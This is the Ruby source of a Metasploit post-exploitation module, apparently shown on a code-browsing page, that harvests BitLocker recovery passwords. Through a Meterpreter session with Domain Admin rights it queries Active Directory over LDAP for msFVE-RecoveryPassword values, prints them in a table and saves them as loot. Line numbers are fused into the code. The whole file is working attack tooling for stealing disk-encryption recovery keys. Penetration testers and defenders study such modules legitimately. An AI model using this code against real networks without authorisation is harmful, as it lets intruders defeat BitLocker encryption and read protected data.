Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/enum_ad_bitlocker.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report7include Msf::Post::Windows::LDAP89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Gather Active Directory BitLocker Recovery',14'Description' => %q{15This module will enumerate BitLocker recovery passwords in the default AD16directory. This module does require Domain Admin or other delegated privileges.17},18'License' => MSF_LICENSE,19'Author' => ['Ben Campbell <ben.campbell[at]mwrinfosecurity.com>'],20'Platform' => ['win'],21'SessionTypes' => ['meterpreter'],22'References' => [23['URL', 'https://technet.microsoft.com/en-us/library/cc771778%28v=ws.10%29.aspx']24]25)26)2728register_options([29OptBool.new('STORE_LOOT', [true, 'Store file in loot.', true]),30OptString.new('FIELDS', [true, 'FIELDS to retrieve.', 'distinguishedName,msFVE-RecoveryPassword']),31OptString.new('FILTER', [true, 'Search filter.', '(objectClass=msFVE-RecoveryInformation)'])32])33end3435def run36fields = datastore['FIELDS'].gsub(/\s+/, '').split(',')37search_filter = datastore['FILTER']38max_search = datastore['MAX_SEARCH']3940begin41q = query(search_filter, max_search, fields)42rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e43print_error(e.message)44return45end4647if q.nil? || q[:results].empty?48print_status('No results found...')49return50end5152# Results table holds raw string data53results_table = Rex::Text::Table.new(54'Header' => 'BitLocker Recovery Passwords',55'Indent' => 1,56'SortIndex' => -1,57'Columns' => fields58)5960q[:results].each do |result|61row = []6263result.each do |field|64field_value = (field.nil? ? '' : field[:value])65row << field_value66end6768results_table << row69end7071print_line results_table.to_s7273if datastore['STORE_LOOT']74stored_path = store_loot('bitlocker.recovery', 'text/plain', session, results_table.to_csv)75print_good("Results saved to: #{stored_path}")76end77end78end798081